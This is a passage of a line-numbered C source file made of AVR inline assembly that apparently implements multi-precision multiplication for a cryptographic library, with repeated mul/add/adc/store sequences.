473 "adc r24, r1 \n\t" \
474 "adc r22, r25 \n\t" \
475 "st z+, r23 \n\t" \
476 \
477 "mul r11, r21 \n\t" \
478 "add r24, r0 \n\t" \
479 "adc r22, r1 \n\t" \
480 "st z+, r24 \n\t" \
481 "st z+, r22 \n\t" \
482 \
483 "sbiw r30, 30 \n\t" \
484 "sbiw r28, 20 \n\t" \
485 "ld r12, y+ \n\t" \
486 "ld r13, y+ \n\t" \
487 "ld r14, y+ \n\t" \
488 "ld r15, y+ \n\t" \
489 "ld r16, y+ \n\t" \
490 "ld r17, y+ \n\t" \
491 "ld r18, y+ \n\t" \
492 "ld r19, y+ \n\t" \
493 "ld r20, y+ \n\t" \
494 "ld r21, y+ \n\t" \
495 \
496 "ldi r23, 0 \n\t" \
497 "mul r2, r12 \n\t" \
498 "st z+, r0 \n\t" \
499 "mov r22, r1 \n\t" \
500 \
501 "ldi r24, 0 \n\t" \
502 "mul r2, r13 \n\t" \
503 "add r22, r0 \n\t" \
504 "adc r23, r1 \n\t" \
505 "mul r3, r12 \n\t" \
506 "add r22, r0 \n\t" \
507 "adc r23, r1 \n\t" \
508 "adc r24, r25 \n\t" \
509 "st z+, r22 \n\t" \
510 \
511 "ldi r22, 0 \n\t" \
512 "mul r2, r14 \n\t" \
513 "add r23, r0 \n\t" \
514 "adc r24, r1 \n\t" \
515 "adc r22, r25 \n\t" \
516 "mul r3, r13 \n\t" \
517 "add r23, r0 \n\t" \
518 "adc r24, r1 \n\t" \
519 "adc r22, r25 \n\t" \
520 "mul r4, r12 \n\t" \
521 "add r23, r0 \n\t" \
522 "adc r24, r1 \n\t" \
523 "adc r22, r25 \n\t" \
524 "st z+, r23 \n\t" \
525 \
526 "ldi r23, 0 \n\t" \
527 "mul r2, r15 \n\t" \
528 "add r24, r0 \n\t" \
529 "adc r22, r1 \n\t" \
530 "adc r23, r25 \n\t" \
531 "mul r3, r14 \n\t" \
532 "add r24, r0 \n\t" \
533 "adc r22, r1 \n\t" \
534 "adc r23, r25 \n\t" \
535 "mul r4, r13 \n\t" \
536 "add r24, r0 \n\t" \
537 "adc r22, r1 \n\t" \
538 "adc r23, r25 \n\t" \
539 "mul r5, r12 \n\t" \
540 "add r24, r0 \n\t" \
541 "adc r22, r1 \n\t" \
542 "adc r23, r25 \n\t" \
543 "st z+, r24 \n\t" \
544 \
545 "ldi r24, 0 \n\t" \
546 "mul r2, r16 \n\t" \
547 "add r22, r0 \n\t" \
548 "adc r23, r1 \n\t" \
549 "adc r24, r25 \n\t" \
550 "mul r3, r15 \n\t" \
551 "add r22, r0 \n\t" \
552 "adc r23, r1 \n\t" \
553 "adc r24, r25 \n\t" \
554 "mul r4, r14 \n\t" \
555 "add r22, r0 \n\t" \
556 "adc r23, r1 \n\t" \
557 "adc r24, r25 \n\t" \
558 "mul r5, r13 \n\t" \
559 "add r22, r0 \n\t" \
560 "adc r23, r1 \n\t" \
561 "adc r24, r25 \n\t" \
562 "mul r6, r12 \n\t" \
563 "add r22, r0 \n\t" \
564 "adc r23, r1 \n\t" \
565 "adc r24, r25 \n\t" \
566 "st z+, r22 \n\t" \
567 \
568 "ldi r22, 0 \n\t" \
569 "mul r2, r17 \n\t" \
570 "add r23, r0 \n\t" \
571 "adc r24, r1 \n\t" \
572 "adc r22, r25 \n\t" \
573 "mul r3, r16 \n\t" \
574 "add r23, r0 \n\t" \
575 "adc r24, r1 \n\t" \
576 "adc r22, r25 \n\t" \
577 "mul r4, r15 \n\t" \
578 "add r23, r0 \n\t" \
579 "adc r24, r1 \n\t" \
580 "adc r22, r25 \n\t" \
581 "mul r5, r14 \n\t" \
582 "add r23, r0 \n\t" \
583 "adc r24, r1 \n\t" \
584 "adc r22, r25 \n\t" \
585 "mul r6, r13 \n\t" \
586 "add r23, r0 \n\t" \
587 "adc r24, r1 \n\t" \
588 "adc r22, r25 \n\t" \
589 "mul r7, r12 \n\t" \
590 "add r23, r0 \n\t" \
591 "adc r24, r1 \n\t" \
592 "adc r22, r25 \n\t" \
593 "st z+, r23 \n\t" \
594 \
595 "ldi r23, 0 \n\t" \
596 "mul r2, r18 \n\t" \
597 "add r24, r0 \n\t" \
598 "adc r22, r1 \n\t" \
599 "adc r23, r25 \n\t" \
600 "mul r3, r17 \n\t" \
601 "add r24, r0 \n\t" \
602 "adc r22, r1 \n\t" \
603 "adc r23, r25 \n\t" \
604 "mul r4, r16 \n\t" \
605 "add r24, r0 \n\t" \
606 "adc r22, r1 \n\t" \
607 "adc r23, r25 \n\t" \
608 "mul r5, r15 \n\t" \
609 "add r24, r0 \n\t" \
610 "adc r22, r1 \n\t" \
611 "adc r23, r25 \n\t" \
612 "mul r6, r14 \n\t" \
613 "add r24, r0 \n\t" \
614 "adc r22, r1 \n\t" \
615 "adc r23, r25 \n\t" \
616 "mul r7, r13 \n\t" \
617 "add r24, r0 \n\t" \
618 "adc r22, r1 \n\t" \
619 "adc r23, r25 \n\t" \
620 "mul r8, r12 \n\t" \
621 "add r24, r0 \n\t" \
622 "adc r22, r1 \n\t" \
623 "adc r23, r25 \n\t" \
624 "st z+, r24 \n\t" \
625 \
626 "ldi r24, 0 \n\t" \
627 "mul r2, r19 \n\t" \
628 "add r22, r0 \n\t" \
629 "adc r23, r1 \n\t" \
630 "adc r24, r25 \n\t" \
631 "mul r3, r18 \n\t" \
632 "add r22, r0 \n\t" \
633 "adc r23, r1 \n\t" \
634 "adc r24, r25 \n\t" \
635 "mul r4, r17 \n\t" \
636 "add r22, r0 \n\t" \
637 "adc r23, r1 \n\t" \
638 "adc r24, r25 \n\t" \
639 "mul r5, r16 \n\t" \
640 "add r22, r0 \n\t" \
641 "adc r23, r1 \n\t" \
642 "adc r24, r25 \n\t" \
643 "mul r6, r15 \n\t" \
644 "add r22, r0 \n\t" \
645 "adc r23, r1 \n\t" \
646 "adc r24, r25 \n\t" \
647 "mul r7, r14 \n\t" \
648 "add r22, r0 \n\t" \
649 "adc r23, r1 \n\t" \
650 "adc r24, r25 \n\t" \
651 "mul r8, r13 \n\t" \
652 "add r22, r0 \n\t" \
653 "adc r23, r1 \n\t" \
654 "adc r24, r25 \n\t" \
655 "mul r9, r12 \n\t" \
656 "add r22, r0 \n\t" \
657 "adc r23, r1 \n\t" \
658 "adc r24, r25 \n\t" \
659 "st z+, r22 \n\t" \
660 \
661 "ldi r22, 0 \n\t" \
662 "mul r2, r20 \n\t" \
663 "add r23, r0 \n\t" \
664 "adc r24, r1 \n\t" \
665 "adc r22, r25 \n\t" \
666 "mul r3, r19 \n\t" \
667 "add r23, r0 \n\t" \
668 "adc r24, r1 \n\t" \
669 "adc r22, r25 \n\t" \
670 "mul r4, r18 \n\t" \
671 "add r23, r0 \n\t" \
672 "adc r24, r1 \n\t" \
673 "adc r22, r25 \n\t" \
674 "mul r5, r17 \n\t" \
675 "add r23, r0 \n\t" \
676 "adc r24, r1 \n\t" \
677 "adc r22, r25 \n\t" \
678 "mul r6, r16 \n\t" \
679 "add r23, r0 \n\t" \
680 "adc r24, r1 \n\t" \
681 "adc r22, r25 \n\t" \
682 "mul r7, r15 \n\t" \
683 "add r23, r0 \n\t" \
684 "adc r24, r1 \n\t" \
685 "adc r22, r25 \n\t" \
686 "mul r8, r14 \n\t" \
687 "add r23, r0 \n\t" \
688 "adc r24, r1 \n\t" \
689 "adc r22, r25 \n\t" \
690 "mul r9, r13 \n\t" \
691 "add r23, r0 \n\t" \
692 "adc r24, r1 \n\t" \
693 "adc r22, r25 \n\t" \
694 "mul r10, r12 \n\t" \
695 "add r23, r0 \n\t" \
696 "adc r24, r1 \n\t" \
697 "adc r22, r25 \n\t" \
698 "st z+, r23 \n\t" \
699 \
700 "ldi r23, 0 \n\t" \
701 "mul r2, r21 \n\t" \
702 "add r24, r0 \n\t" \
703 "adc r22, r1 \n\t" \
704 "adc r23, r25 \n\t" \
705 "mul r3, r20 \n\t" \
706 "add r24, r0 \n\t" \
707 "adc r22, r1 \n\t" \
708 "adc r23, r25 \n\t" \
709 "mul r4, r19 \n\t" \
710 "add r24, r0 \n\t" \
711 "adc r22, r1 \n\t" \
712 "adc r23, r25 \n\t" \
713 "mul r5, r18 \n\t" \
714 "add r24, r0 \n\t" \
715 "adc r22, r1 \n\t" \
716 "adc r23, r25 \n\t" \
717 "mul r6, r17 \n\t" \
718 "add r24, r0 \n\t" \
719 "adc r22, r1 \n\t" \
720 "adc r23, r25 \n\t" \
721 "mul r7, r16 \n\t" \
722 "add r24, r0 \n\t" \
723 "adc r22, r1 \n\t" \
724 "adc r23, r25 \n\t" \
725 "mul r8, r15 \n\t" \
726 "add r24, r0 \n\t" \
727 "adc r22, r1 \n\t" \
728 "adc r23, r25 \n\t" \
729 "mul r9, r14 \n\t" \
730 "add r24, r0 \n\t" \
731 "adc r22, r1 \n\t" \
732 "adc r23, r25 \n\t" \
733 "mul r10, r13 \n\t" \
734 "add r24, r0 \n\t" \
735 "adc r22, r1 \n\t" \
736 "adc r23, r25 \n\t" \
737 "mul r11, r12 \n\t" \
738 "add r24, r0 \n\t" \
739 "adc r22, r1 \n\t" \
740 "adc r23, r25 \n\t" \
741 "st z+, r24 \n\t" \
742 \
743 "ld r2, x+ \n\t" \
744 "ldi r24, 0 \n\t" \
745 "mul r3, r21 \n\t" \
746 "add r22, r0 \n\t" \
747 "adc r23, r1 \n\t" \
748 "adc r24, r25 \n\t" \
749 "mul r4, r20 \n\t" \
750 "add r22, r0 \n\t" \
751 "adc r23, r1 \n\t" \
752 "adc r24, r25 \n\t" \
753 "mul r5, r19 \n\t" \
754 "add r22, r0 \n\t" \
755 "adc r23, r1 \n\t" \
756 "adc r24, r25 \n\t" \
757 "mul r6, r18 \n\t" \
758 "add r22, r0 \n\t" \
759 "adc r23, r1 \n\t" \
760 "adc r24, r25 \n\t" \
761 "mul r7, r17 \n\t" \
762 "add r22, r0 \n\t" \
763 "adc r23, r1 \n\t" \
764 "adc r24, r25 \n\t" \
765 "mul r8, r16 \n\t" \
766 "add r22, r0 \n\t" \
767 "adc r23, r1 \n\t" \
768 "adc r24, r25 \n\t" \
769 "mul r9, r15 \n\t" \
770 "add r22, r0 \n\t" \
771 "adc r23, r1 \n\t" \
772 "adc r24, r25 \n\t" \
773 "mul r10, r14 \n\t" \
774 "add r22, r0 \n\t" \
775 "adc r23, r1 \n\t" \
776 "adc r24, r25 \n\t" \
777 "mul r11, r13 \n\t" \
778 "add r22, r0 \n\t" \
779 "adc r23, r1 \n\t" \
780 "adc r24, r25 \n\t" \
781 "mul r2, r12 \n\t" \
782 "add r22, r0 \n\t" \
783 "adc r23, r1 \n\t" \
784 "adc r24, r25 \n\t" \
785 "ld r0, z \n\t" \
786 "add r22, r0 \n\t" \
787 "adc r23, r25 \n\t" \
788 "adc r24, r25 \n\t" \
789 "st z+, r22 \n\t" \
790 \
791 "ld r3, x+ \n\t" \
792 "ldi r22, 0 \n\t" \
793 "mul r4, r21 \n\t" \
794 "add r23, r0 \n\t" \
795 "adc r24, r1 \n\t" \
796 "adc r22, r25 \n\t" \
797 "mul r5, r20 \n\t" \
798 "add r23, r0 \n\t" \
799 "adc r24, r1 \n\t" \
800 "adc r22, r25 \n\t" \
801 "mul r6, r19 \n\t" \
802 "add r23, r0 \n\t" \
803 "adc r24, r1 \n\t" \
804 "adc r22, r25 \n\t" \
805 "mul r7, r18 \n\t" \
806 "add r23, r0 \n\t" \
807 "adc r24, r1 \n\t" \
808 "adc r22, r25 \n\t" \
809 "mul r8, r17 \n\t" \
810 "add r23, r0 \n\t" \
811 "adc r24, r1 \n\t" \
812 "adc r22, r25 \n\t" \
813 "mul r9, r16 \n\t" \
814 "add r23, r0 \n\t" \
815 "adc r24, r1 \n\t" \
816 "adc r22, r25 \n\t" \
817 "mul r10, r15 \n\t" \
818 "add r23, r0 \n\t" \
819 "adc r24, r1 \n\t" \
820 "adc r22, r25 \n\t" \
821 "mul r11, r14 \n\t" \
822 "add r23, r0 \n\t" \
823 "adc r24, r1 \n\t" \
824 "adc r22, r25 \n\t" \
825 "mul r2, r13 \n\t" \
826 "add r23, r0 \n\t" \
827 "adc r24, r1 \n\t" \
828 "adc r22, r25 \n\t" \
829 "mul r3, r12 \n\t" \
830 "add r23, r0 \n\t" \
831 "adc r24, r1 \n\t" \
832 "adc r22, r25 \n\t" \
833 "ld r0, z \n\t" \
834 "add r23, r0 \n\t" \
835 "adc r24, r25 \n\t" \
836 "adc r22, r25 \n\t" \
837 "st z+, r23 \n\t" \
838 \
839 "ld r4, x+ \n\t" \
840 "ldi r23, 0 \n\t" \
841 "mul r5, r21 \n\t" \
842 "add r24, r0 \n\t" \
843 "adc r22, r1 \n\t" \
844 "adc r23, r25 \n\t" \
845 "mul r6, r20 \n\t" \
846 "add r24, r0 \n\t" \
847 "adc r22, r1 \n\t" \
848 "adc r23, r25 \n\t" \
849 "mul r7, r19 \n\t" \
850 "add r24, r0 \n\t" \
851 "adc r22, r1 \n\t" \
852 "adc r23, r25 \n\t" \
853 "mul r8, r18 \n\t" \
854 "add r24, r0 \n\t" \
855 "adc r22, r1 \n\t" \
856 "adc r23, r25 \n\t" \
857 "mul r9, r17 \n\t" \
858 "add r24, r0 \n\t" \
859 "adc r22, r1 \n\t" \
860 "adc r23, r25 \n\t" \
861 "mul r10, r16 \n\t" \
862 "add r24, r0 \n\t" \
863 "adc r22, r1 \n\t" \
864 "adc r23, r25 \n\t" \
865 "mul r11, r15 \n\t" \
866 "add r24, r0 \n\t" \
867 "adc r22, r1 \n\t" \
868 "adc r23, r25 \n\t" \
869 "mul r2, r14 \n\t" \
870 "add r24, r0 \n\t" \
871 "adc r22, r1 \n\t" \
872 "adc r23, r25 \n\t" \
873 "mul r3, r13 \n\t" \
874 "add r24, r0 \n\t" \
875 "adc r22, r1 \n\t" \
876 "adc r23, r25 \n\t" \
877 "mul r4, r12 \n\t" \
878 "add r24, r0 \n\t" \
879 "adc r22, r1 \n\t" \
880 "adc r23, r25 \n\t" \
881 "ld r0, z \n\t" \
882 "add r24, r0 \n\t" \
883 "adc r22, r25 \n\t" \
884 "adc r23, r25 \n\t" \
885 "st z+, r24 \n\t" \
886 \
887 "ld r5, x+ \n\t" \
888 "ldi r24, 0 \n\t" \
889 "mul r6, r21 \n\t" \
890 "add r22, r0 \n\t" \
891 "adc r23, r1 \n\t" \
892 "adc r24, r25 \n\t" \
893 "mul r7, r20 \n\t" \
894 "add r22, r0 \n\t" \
895 "adc r23, r1 \n\t" \
896 "adc r24, r25 \n\t" \
897 "mul r8, r19 \n\t" \
898 "add r22, r0 \n\t" \
899 "adc r23, r1 \n\t" \
900 "adc r24, r25 \n\t" \
901 "mul r9, r18 \n\t" \
902 "add r22, r0 \n\t" \
903 "adc r23, r1 \n\t" \
904 "adc r24, r25 \n\t" \
905 "mul r10, r17 \n\t" \
906 "add r22, r0 \n\t" \
907 "adc r23, r1 \n\t" \
908 "adc r24, r25 \n\t" \
909 "mul r11, r16 \n\t" \
910 "add r22, r0 \n\t" \
911 "adc r23, r1 \n\t" \
912 "adc r24, r25 \n\t" \
913 "mul r2, r15 \n\t" \
914 "add r22, r0 \n\t" \
915 "adc r23, r1 \n\t" \
916 "adc r24, r25 \n\t" \
917 "mul r3, r14 \n\t" \
918 "add r22, r0 \n\t" \
919 "adc r23, r1 \n\t" \
920 "adc r24, r25 \n\t" \
921 "mul r4, r13 \n\t" \
922 "add r22, r0 \n\t" \
923 "adc r23, r1 \n\t" \
924 "adc r24, r25 \n\t" \
925 "mul r5, r12 \n\t" \
926 "add r22, r0 \n\t" \
927 "adc r23, r1 \n\t" \
928 "adc r24, r25 \n\t" \
929 "ld r0, z \n\t" \
930 "add r22, r0 \n\t" \
931 "adc r23, r25 \n\t" \
932 "adc r24, r25 \n\t" \
933 "st z+, r22 \n\t" \
934 \
935 "ld r6, x+ \n\t" \
936 "ldi r22, 0 \n\t" \
937 "mul r7, r21 \n\t" \
938 "add r23, r0 \n\t" \
939 "adc r24, r1 \n\t" \
940 "adc r22, r25 \n\t" \
941 "mul r8, r20 \n\t" \
942 "add r23, r0 \n\t" \
943 "adc r24, r1 \n\t" \
944 "adc r22, r25 \n\t" \
945 "mul r9, r19 \n\t" \
946 "add r23, r0 \n\t" \
947 "adc r24, r1 \n\t" \
948 "adc r22, r25 \n\t" \
949 "mul r10, r18 \n\t" \
950 "add r23, r0 \n\t" \
951 "adc r24, r1 \n\t" \
952 "adc r22, r25 \n\t" \
953 "mul r11, r17 \n\t" \
954 "add r23, r0 \n\t" \
955 "adc r24, r1 \n\t" \
956 "adc r22, r25 \n\t" \
957 "mul r2, r16 \n\t" \
958 "add r23, r0 \n\t" \
959 "adc r24, r1 \n\t" \
960 "adc r22, r25 \n\t" \
961 "mul r3, r15 \n\t" \
962 "add r23, r0 \n\t" \
963 "adc r24, r1 \n\t" \
964 "adc r22, r25 \n\t" \
965 "mul r4, r14 \n\t" \
966 "add r23, r0 \n\t" \
967 "adc r24, r1 \n\t" \
968 "adc r22, r25 \n\t" \
969 "mul r5, r13 \n\t" \
970 "add r23, r0 \n\t" \
971 "adc r24, r1 \n\t" \
972 "adc r22, r25 \n\t" \
973 "mul r6, r12 \n\t" \
974 "add r23, r0 \n\t" \
975 "adc r24, r1 \n\t" \
976 "adc r22, r25 \n\t" \
977 "ld r0, z \n\t" \
978 "add r23, r0 \n\t" \
979 "adc r24, r25 \n\t" \
980 "adc r22, r25 \n\t" \
981 "st z+, r23 \n\t" \
982 \
983 "ld r7, x+ \n\t" \
984 "ldi r23, 0 \n\t" \
985 "mul r8, r21 \n\t" \
986 "add r24, r0 \n\t" \
987 "adc r22, r1 \n\t" \
988 "adc r23, r25 \n\t" \
989 "mul r9, r20 \n\t" \
990 "add r24, r0 \n\t" \
991 "adc r22, r1 \n\t" \
992 "adc r23, r25 \n\t" \
993 "mul r10, r19 \n\t" \
994 "add r24, r0 \n\t" \
995 "adc r22, r1 \n\t" \
996 "adc r23, r25 \n\t" \
997 "mul r11, r18 \n\t" \
998 "add r24, r0 \n\t" \
999 "adc r22, r1 \n\t" \
1000 "adc r23, r25 \n\t" \
1001 "mul r2, r17 \n\t" \
1002 "add r24, r0 \n\t" \
1003 "adc r22, r1 \n\t" \
1004 "adc r23, r25 \n\t" \
1005 "mul r3, r16 \n\t" \
1006 "add r24, r0 \n\t" \
1007 "adc r22, r1 \n\t" \
1008 "adc r23, r25 \n\t" \
1009 "mul r4, r15 \n\t" \
1010 "add r24, r0 \n\t" \
1011 "adc r22, r1 \n\t" \
1012 "adc r23, r25 \n\t" \
1013 "mul r5, r14 \n\t" \
1014 "add r24, r0 \n\t" \
1015 "adc r22, r1 \n\t" \
1016 "adc r23, r25 \n\t" \
1017 "mul r6, r13 \n\t" \
1018 "add r24, r0 \n\t" \
1019 "adc r22, r1 \n\t" \
1020 "adc r23, r25 \n\t" \
1021 "mul r7, r12 \n\t" \
1022 "add r24, r0 \n\t" \
1023 "adc r22, r1 \n\t" \
1024 "adc r23, r25 \n\t" \
1025 "ld r0, z \n\t" \
1026 "add r24, r0 \n\t" \
1027 "adc r22, r25 \n\t" \
1028 "adc r23, r25 \n\t" \
1029 "st z+, r24 \n\t" \
1030 \
1031 "ld r8, x+ \n\t" \
1032 "ldi r24, 0 \n\t" \
1033 "mul r9, r21 \n\t" \
1034 "add r22, r0 \n\t" \
1035 "adc r23, r1 \n\t" \
1036 "adc r24, r25 \n\t" \
1037 "mul r10, r20 \n\t" \
1038 "add r22, r0 \n\t" \
1039 "adc r23, r1 \n\t" \
1040 "adc r24, r25 \n\t" \
1041 "mul r11, r19 \n\t" \
1042 "add r22, r0 \n\t" \
1043 "adc r23, r1 \n\t" \
1044 "adc r24, r25 \n\t" \
1045 "mul r2, r18 \n\t" \
1046 "add r22, r0 \n\t" \
1047 "adc r23, r1 \n\t" \
1048 "adc r24, r25 \n\t" \
1049 "mul r3, r17 \n\t" \
1050 "add r22, r0 \n\t" \
1051 "adc r23, r1 \n\t" \
1052 "adc r24, r25 \n\t" \
1053 "mul r4, r16 \n\t" \
1054 "add r22, r0 \n\t" \
1055 "adc r23, r1 \n\t" \
1056 "adc r24, r25 \n\t" \
1057 "mul r5, r15 \n\t" \
1058 "add r22, r0 \n\t" \
1059 "adc r23, r1 \n\t" \
1060 "adc r24, r25 \n\t" \
1061 "mul r6, r14 \n\t" \
1062 "add r22, r0 \n\t" \
1063 "adc r23, r1 \n\t" \
1064 "adc r24, r25 \n\t" \
1065 "mul r7, r13 \n\t" \
1066 "add r22, r0 \n\t" \
1067 "adc r23, r1 \n\t" \
1068 "adc r24, r25 \n\t" \
1069 "mul r8, r12 \n\t" \
1070 "add r22, r0 \n\t" \
1071 "adc r23, r1 \n\t" \
1072 "adc r24, r25 \n\t" \
1073 "ld r0, z \n\t" \
1074 "add r22, r0 \n\t" \
1075 "adc r23, r25 \n\t" \
1076 "adc r24, r25 \n\t" \
1077 "st z+, r22 \n\t" \
1078 \
1079 "ld r9, x+ \n\t" \
1080 "ldi r22, 0 \n\t" \
1081 "mul r10, r21 \n\t" \
1082 "add r23, r0 \n\t" \
1083 "adc r24, r1 \n\t" \
1084 "adc r22, r25 \n\t" \
1085 "mul r11, r20 \n\t" \
1086 "add r23, r0 \n\t" \
1087 "adc r24, r1 \n\t" \
1088 "adc r22, r25 \n\t" \
1089 "mul r2, r19 \n\t" \
1090 "add r23, r0 \n\t" \
1091 "adc r24, r1 \n\t" \
1092 "adc r22, r25 \n\t" \
1093 "mul r3, r18 \n\t" \
1094 "add r23, r0 \n\t" \
1095 "adc r24, r1 \n\t" \
1096 "adc r22, r25 \n\t" \
1097 "mul r4, r17 \n\t" \
1098 "add r23, r0 \n\t" \
1099 "adc r24, r1 \n\t" \
1100 "adc r22, r25 \n\t" \
1101 "mul r5, r16 \n\t" \
1102 "add r23, r0 \n\t" \
1103 "adc r24, r1 \n\t" \
1104 "adc r22, r25 \n\t" \
1105 "mul r6, r15 \n\t" \
1106 "add r23, r0 \n\t" \
1107 "adc r24, r1 \n\t" \
1108 "adc r22, r25 \n\t" \
1109 "mul r7, r14 \n\t" \
1110 "add r23, r0 \n\t" \
1111 "adc r24, r1 \n\t" \
1112 "adc r22, r25 \n\t" \
1113 "mul r8, r13 \n\t" \
1114 "add r23, r0 \n\t" \
1115 "adc r24, r1 \n\t" \
1116 "adc r22, r25 \n\t" \
1117 "mul r9, r12 \n\t" \
1118 "add r23, r0 \n\t" \
1119 "adc r24, r1 \n\t" \
1120 "adc r22, r25 \n\t" \
1121 "ld r0, z \n\t" \
1122 "add r23, r0 \n\t" \
1123 "adc r24, r25 \n\t" \
1124 "adc r22, r25 \n\t" \
1125 "st z+, r23 \n\t" \
1126 \
1127 "ld r10, x+ \n\t" \
1128 "ldi r23, 0 \n\t" \
1129 "mul r11, r21 \n\t" \
1130 "add r24, r0 \n\t" \
1131 "adc r22, r1 \n\t" \
1132 "adc r23, r25 \n\t" \
1133 "mul r2, r20 \n\t" \
1134 "add r24, r0 \n\t" \
1135 "adc r22, r1 \n\t" \
1136 "adc r23, r25 \n\t" \
1137 "mul r3, r19 \n\t" \
1138 "add r24, r0 \n\t" \
1139 "adc r22, r1 \n\t" \
1140 "adc r23, r25 \n\t" \
1141 "mul r4, r18 \n\t" \
1142 "add r24, r0 \n\t" \
1143 "adc r22, r1 \n\t" \
1144 "adc r23, r25 \n\t" \
1145 "mul r5, r17 \n\t" \
1146 "add r24, r0 \n\t" \
1147 "adc r22, r1 \n\t" \
1148 "adc r23, r25 \n\t" \
1149 "mul r6, r16 \n\t" \
1150 "add r24, r0 \n\t" \
1151 "adc r22, r1 \n\t" \
1152 "adc r23, r25 \n\t" \
1153 "mul r7, r15 \n\t" \
1154 "add r24, r0 \n\t" \
1155 "adc r22, r1 \n\t" \
1156 "adc r23, r25 \n\t" \
1157 "mul r8, r14 \n\t" \
1158 "add r24, r0 \n\t" \
1159 "adc r22, r1 \n\t" \
1160 "adc r23, r25 \n\t" \
1161 "mul r9, r13 \n\t" \
1162 "add r24, r0 \n\t" \
1163 "adc r22, r1 \n\t" \
1164 "adc r23, r25 \n\t" \
1165 "mul r10, r12 \n\t" \
1166 "add r24, r0 \n\t" \
1167 "adc r22, r1 \n\t" \
1168 "adc r23, r25 \n\t" \
1169 "ld r0, z \n\t" \
1170 "add r24, r0 \n\t" \
1171 "adc r22, r25 \n\t" \
1172 "adc r23, r25 \n\t" \
1173 "st z+, r24 \n\t" \
1174 \
1175 "ld r11, x+ \n\t" \
1176 "ldi r24, 0 \n\t" \
1177 "mul r2, r21 \n\t" \
1178 "add r22, r0 \n\t" \
1179 "adc r23, r1 \n\t" \
1180 "adc r24, r25 \n\t" \
1181 "mul r3, r20 \n\t" \
1182 "add r22, r0 \n\t" \
1183 "adc r23, r1 \n\t" \
1184 "adc r24, r25 \n\t" \
1185 "mul r4, r19 \n\t" \
1186 "add r22, r0 \n\t" \
1187 "adc r23, r1 \n\t" \
1188 "adc r24, r25 \n\t" \
1189 "mul r5, r18 \n\t" \
1190 "add r22, r0 \n\t" \
1191 "adc r23, r1 \n\t" \
1192 "adc r24, r25 \n\t" \
1193 "mul r6, r17 \n\t" \
1194 "add r22, r0 \n\t" \
1195 "adc r23, r1 \n\t" \
1196 "adc r24, r25 \n\t" \
1197 "mul r7, r16 \n\t" \
1198 "add r22, r0 \n\t" \
1199 "adc r23, r1 \n\t" \
1200 "adc r24, r25 \n\t" \
1201 "mul r8, r15 \n\t" \
1202 "add r22, r0 \n\t" \
1203 "adc r23, r1 \n\t" \
1204 "adc r24, r25 \n\t" \
1205 "mul r9, r14 \n\t" \
1206 "add r22, r0 \n\t" \
1207 "adc r23, r1 \n\t" \
1208 "adc r24, r25 \n\t" \
1209 "mul r10, r13 \n\t" \
1210 "add r22, r0 \n\t" \
1211 "adc r23, r1 \n\t" \
1212 "adc r24, r25 \n\t" \
1213 "mul r11, r12 \n\t" \
1214 "add r22, r0 \n\t" \
1215 "adc r23, r1 \n\t" \
1216 "adc r24, r25 \n\t" \
1217 "ld r0, z \n\t" \
1218 "add r22, r0 \n\t" \
1219 "adc r23, r25 \n\t" \
1220 "adc r24, r25 \n\t" \
1221 "st z+, r22 \n\t" \
1222 \
1223 "ld r12, y+ \n\t" \
1224 "ldi r22, 0 \n\t" \
1225 "mul r2, r12 \n\t" \
1226 "add r23, r0 \n\t" \
1227 "adc r24, r1 \n\t" \
1228 "adc r22, r25 \n\t" \
1229 "mul r3, r21 \n\t" \
1230 "add r23, r0 \n\t" \
1231 "adc r24, r1 \n\t" \
1232 "adc r22, r25 \n\t" \
1233 "mul r4, r20 \n\t" \
1234 "add r23, r0 \n\t" \
1235 "adc r24, r1 \n\t" \
1236 "adc r22, r25 \n\t" \
1237 "mul r5, r19 \n\t" \
1238 "add r23, r0 \n\t" \
1239 "adc r24, r1 \n\t" \
1240 "adc r22, r25 \n\t" \
1241 "mul r6, r18 \n\t" \
1242 "add r23, r0 \n\t" \
1243 "adc r24, r1 \n\t" \
1244 "adc r22, r25 \n\t" \
1245 "mul r7, r17 \n\t" \
1246 "add r23, r0 \n\t" \
1247 "adc r24, r1 \n\t" \
1248 "adc r22, r25 \n\t" \
1249 "mul r8, r16 \n\t" \
1250 "add r23, r0 \n\t" \
1251 "adc r24, r1 \n\t" \
1252 "adc r22, r25 \n\t" \
1253 "mul r9, r15 \n\t" \
1254 "add r23, r0 \n\t" \
1255 "adc r24, r1 \n\t" \
1256 "adc r22, r25 \n\t" \
1257 "mul r10, r14 \n\t" \
1258 "add r23, r0 \n\t" \
1259 "adc r24, r1 \n\t" \
1260 "adc r22, r25 \n\t" \
1261 "mul r11, r13 \n\t" \
1262 "add r23, r0 \n\t" \
1263 "adc r24, r1 \n\t" \
1264 "adc r22, r25 \n\t" \
1265 "ld r0, z \n\t" \
1266 "add r23, r0 \n\t" \
1267 "adc r24, r25 \n\t" \
1268 "adc r22, r25 \n\t" \
1269 "st z+, r23 \n\t" \
1270 \
1271 "ld r13, y+ \n\t" \
1272 "ldi r23, 0 \n\t" \
1273 "mul r2, r13 \n\t" \
1274 "add r24, r0 \n\t" \
1275 "adc r22, r1 \n\t" \
1276 "adc r23, r25 \n\t" \
1277 "mul r3, r12 \n\t" \
1278 "add r24, r0 \n\t" \
1279 "adc r22, r1 \n\t" \
1280 "adc r23, r25 \n\t" \
1281 "mul r4, r21 \n\t" \
1282 "add r24, r0 \n\t" \
1283 "adc r22, r1 \n\t" \
1284 "adc r23, r25 \n\t" \
1285 "mul r5, r20 \n\t" \
1286 "add r24, r0 \n\t" \
1287 "adc r22, r1 \n\t" \
1288 "adc r23, r25 \n\t" \
1289 "mul r6, r19 \n\t" \
1290 "add r24, r0 \n\t" \
1291 "adc r22, r1 \n\t" \
1292 "adc r23, r25 \n\t" \
1293 "mul r7, r18 \n\t" \
1294 "add r24, r0 \n\t" \
1295 "adc r22, r1 \n\t" \
1296 "adc r23, r25 \n\t" \
1297 "mul r8, r17 \n\t" \
1298 "add r24, r0 \n\t" \
1299 "adc r22, r1 \n\t" \
1300 "adc r23, r25 \n\t" \
1301 "mul r9, r16 \n\t" \
1302 "add r24, r0 \n\t" \
1303 "adc r22, r1 \n\t" \
1304 "adc r23, r25 \n\t" \
1305 "mul r10, r15 \n\t" \
1306 "add r24, r0 \n\t" \
1307 "adc r22, r1 \n\t" \
1308 "adc r23, r25 \n\t" \
1309 "mul r11, r14 \n\t" \
1310 "add r24, r0 \n\t" \
1311 "adc r22, r1 \n\t" \
1312 "adc r23, r25 \n\t" \
1313 "ld r0, z \n\t" \
1314 "add r24, r0 \n\t" \
1315 "adc r22, r25 \n\t" \
1316 "adc r23, r25 \n\t" \
1317 "st z+, r24 \n\t" \
1318 \
